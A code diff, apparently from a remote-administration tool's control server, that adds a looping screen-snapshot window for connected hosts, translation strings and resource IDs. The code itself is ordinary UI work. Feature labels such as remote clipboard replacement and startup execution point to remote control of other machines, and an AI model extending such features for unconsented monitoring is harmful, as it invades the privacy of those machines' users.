dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
|
||||
dc.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
|
||||
}
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CWnd::OnSize(nType, cx, cy);
|
||||
if (m_loopMode && GetSafeHwnd()) {
|
||||
// 循环模式:所有排版交给 OnPaint 读取 client rect,重画即可
|
||||
Invalidate();
|
||||
}
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
|
||||
{
|
||||
if (m_loopMode && lpMMI) {
|
||||
// 防止用户把窗口拽到肉眼不可见。240x200 大致能保证标题栏 + 一行文本 + 缩略图可见。
|
||||
lpMMI->ptMinTrackSize.x = 240;
|
||||
lpMMI->ptMinTrackSize.y = 200;
|
||||
}
|
||||
CWnd::OnGetMinMaxInfo(lpMMI);
|
||||
}
|
||||
|
||||
void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
|
||||
{
|
||||
RECT r = rc;
|
||||
|
||||
@@ -20,7 +20,12 @@ public:
|
||||
// text 下方显示的主机详情文本(宽字符,确保跨语言系统正确渲染)
|
||||
// imageReserveW 上方图像区域预留宽度(即将到来的预览最大宽度,仅作初始布局)
|
||||
// 为 0 表示不预留 — 与老 STATIC 路径行为一致(仅文本)
|
||||
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW);
|
||||
// loopMode true: 真正的可拖拽/缩放/最小化/最大化的独立窗口("播放快照"循环),
|
||||
// 带标题栏 + 任务栏图标,关闭按钮走系统菜单;
|
||||
// false: 单发 tooltip(双击主机的预览),无 chrome、不激活、置顶。
|
||||
// windowTitle loopMode=true 时显示在标题栏与任务栏的文本;false 时忽略。
|
||||
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
|
||||
bool loopMode = false, const CStringW& windowTitle = L"");
|
||||
|
||||
// 收到 JPEG 后调用:解码并重画。线程安全前提是只在主 UI 线程调用。
|
||||
void SetImageFromJpeg(const BYTE* data, size_t bytes);
|
||||
@@ -30,15 +35,28 @@ public:
|
||||
WORD GetReqId() const { return m_reqId; }
|
||||
void SetReqId(WORD id) { m_reqId = id; }
|
||||
|
||||
// 循环快照模式:开启后窗口销毁时会向 ownerHwnd 发送 msgId(LPARAM 是堆上的
|
||||
// uint64_t* 携带 clientId,接收方负责 delete),且 PostNcDestroy 会自动 delete this。
|
||||
// 调用方需在自行销毁前用 SetLoopOwner(NULL, 0, 0) 解除回调,避免重复通知。
|
||||
void SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId);
|
||||
uint64_t GetClientID() const { return m_clientId; }
|
||||
bool IsLoopMode() const { return m_loopMode; }
|
||||
|
||||
protected:
|
||||
afx_msg void OnPaint();
|
||||
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||
afx_msg void OnDestroy();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI);
|
||||
virtual void PostNcDestroy();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
private:
|
||||
void RecalcLayoutAndResize();
|
||||
void DrawImageArea(CDC& dc, const CRect& rc);
|
||||
void DrawTextArea(CDC& dc, const CRect& rc);
|
||||
// 循环模式:基于当前 client rect 重新分配图像区/文本区
|
||||
void LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText);
|
||||
|
||||
CStringW m_text;
|
||||
int m_imageReserveW = 0; // 预留图像宽度(图像未到达时占位)
|
||||
@@ -54,4 +72,14 @@ private:
|
||||
|
||||
CFont m_font;
|
||||
WORD m_reqId = 0;
|
||||
|
||||
// 循环快照模式相关
|
||||
bool m_loopMode = false;
|
||||
HWND m_loopOwner = nullptr;
|
||||
UINT m_loopMsg = 0;
|
||||
uint64_t m_clientId = 0;
|
||||
// 标题栏 / 任务栏图标。WM_SETICON 不转移所有权(MSDN:originator 必须自己释放),
|
||||
// 析构时 DestroyIcon;不能在 OnDestroy 里销毁,因为系统在 WM_NCDESTROY 之前还在用它。
|
||||
HICON m_hIconSmall = nullptr;
|
||||
HICON m_hIconBig = nullptr;
|
||||
};
|
||||
|
||||
@@ -105,6 +105,7 @@ RTT=RTT
|
||||
解密数据=Decrypt Data
|
||||
画板=Drawing
|
||||
屏幕墙=Screen Wall
|
||||
替换=Replace
|
||||
替换图标=Replace Icon
|
||||
发送文件=Send File
|
||||
历史主机=Host History
|
||||
@@ -1783,8 +1784,11 @@ IOCP
|
||||
标准FRPC[不可用]=Standard FRPC [Unavailable]
|
||||
不自动执行=No Auto Execute
|
||||
启动执行=Execute on Startup
|
||||
每日定时[未实现]=Daily Schedule [Not Implemented]
|
||||
每周定时[未实现]=Weekly Schedule [Not Implemented]
|
||||
每日定时=Daily Schedule
|
||||
每周定时=Weekly Schedule
|
||||
每月定时=Monthly Schedule
|
||||
每年定时=Yearly Schedule
|
||||
关闭执行=Turn OFF
|
||||
名称=Name
|
||||
大小=Size
|
||||
运行类型=Run Type
|
||||
@@ -1831,3 +1835,15 @@ IOCP
|
||||
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
|
||||
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
|
||||
或手动重签:=Or re-sign manually:
|
||||
<请输入文本用于替换远程剪切板>=<Please input text to replace remote clipboard>
|
||||
|
||||
; Screen Preview Loop - English Translation
|
||||
; Format: Simplified Chinese=English
|
||||
|
||||
主机:=Host:
|
||||
分辨率:=Resolution:
|
||||
有 %d 个主机不支持屏幕预览,已跳过=%d host(s) do not support screen preview, skipped
|
||||
播放快照=Play Snapshot
|
||||
快照=Snapshot
|
||||
预览=Preview
|
||||
主机列表预览图=Host List Thumbnails
|
||||
|
||||
@@ -105,6 +105,7 @@ RTT=RTT
|
||||
解密数据=解密資料
|
||||
画板=繪圖板
|
||||
屏幕墙=螢幕牆
|
||||
替换=替換
|
||||
替换图标=替換圖示
|
||||
发送文件=傳送檔案
|
||||
历史主机=歷史主機
|
||||
@@ -1775,8 +1776,11 @@ IOCP
|
||||
标准FRPC[不可用]=標準FRPC[不可用]
|
||||
不自动执行=不自動執行
|
||||
启动执行=啟動執行
|
||||
每日定时[未实现]=每日定時[未實現]
|
||||
每周定时[未实现]=每週定時[未實現]
|
||||
每日定时=每日定時
|
||||
每周定时=每週定時
|
||||
每月定时=每月定时
|
||||
每年定时=每年定时
|
||||
关闭执行=关闭执行
|
||||
名称=名稱
|
||||
大小=大小
|
||||
运行类型=執行類型
|
||||
@@ -1822,3 +1826,15 @@ IOCP
|
||||
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。
|
||||
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
|
||||
或手动重签:=或手動重新簽章:
|
||||
<请输入文本用于替换远程剪切板>=<请输入文本用于替换远程剪切板>
|
||||
|
||||
; Screen Preview Loop - Traditional Chinese Translation
|
||||
; Format: Simplified Chinese=Traditional Chinese
|
||||
|
||||
主机:=主機:
|
||||
分辨率:=解析度:
|
||||
有 %d 个主机不支持屏幕预览,已跳过=有 %d 個主機不支援螢幕預覽,已跳過
|
||||
播放快照=播放快照
|
||||
快照=快照
|
||||
预览=預覽
|
||||
主机列表预览图=主機列表預覽圖
|
||||
|
||||
BIN
server/2015Remote/res/Bitmap/Snapshot.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/Snapshot.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
BIN
server/2015Remote/res/Snapshot.ico
Normal file
BIN
server/2015Remote/res/Snapshot.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 5.3 KiB |
@@ -255,6 +255,8 @@
|
||||
#define IDR_MACOS_GHOST 372
|
||||
#define IDB_BITMAP_WEBDESKTOP 373
|
||||
#define IDB_BITMAP_PLUGINCONFIG 374
|
||||
#define IDB_BITMAP_SNAPSHOT 375
|
||||
#define IDI_ICON_SNAPSHOT 376
|
||||
#define IDR_LANG_EN_US 380
|
||||
#define IDR_LANG_ZH_TW 381
|
||||
#define IDC_MESSAGE 1000
|
||||
@@ -731,8 +733,11 @@
|
||||
#define IDC_STATIC_PLUGIN_INTERVAL 2537
|
||||
#define IDC_STATIC_PLUGIN_COUNTER 2538
|
||||
#define IDC_COMBO_TRIGGER_TYPE 2539
|
||||
#define IDC_EDIT_CLIPBOARD 2539
|
||||
#define IDC_LIST_TRIGGER_PLUGINS 2540
|
||||
#define IDC_EDIT_TEXTRULE 2540
|
||||
#define IDC_BTN_TRIGGER_ADD 2541
|
||||
#define IDC_BTN_APPLY_TEXTRULE 2541
|
||||
#define IDC_BTN_TRIGGER_REMOVE 2542
|
||||
#define IDC_LIST_TRIGGERS 2543
|
||||
#define IDC_STATIC_TRIGGER_TYPE 2544
|
||||
@@ -971,15 +976,18 @@
|
||||
#define ID_33046 33046
|
||||
#define ID_PROXY_PORT_AUTORUN 33047
|
||||
#define ID_TRIGGER_SETTINGS 33048
|
||||
#define ID_33048 33048
|
||||
#define ID_SCREENPREVIEW_LOOP 33049
|
||||
#define ID_PARAM_THUMBNAIL_PREVIEW 33050
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 373
|
||||
#define _APS_NEXT_COMMAND_VALUE 33048
|
||||
#define _APS_NEXT_CONTROL_VALUE 2539
|
||||
#define _APS_NEXT_RESOURCE_VALUE 377
|
||||
#define _APS_NEXT_COMMAND_VALUE 33051
|
||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
#endif
|
||||
|
||||
@@ -102,6 +102,7 @@
|
||||
#define WM_DISCONNECT WM_USER+3032
|
||||
#define WM_OPENTERMINALDIALOG WM_USER+3033
|
||||
#define WM_PREVIEW_RESPONSE WM_USER+3034
|
||||
#define WM_PREVIEW_LOOP_CLOSED WM_USER+3035
|
||||
|
||||
#ifdef _UNICODE
|
||||
#if defined _M_IX86
|
||||
|
||||
Reference in New Issue
Block a user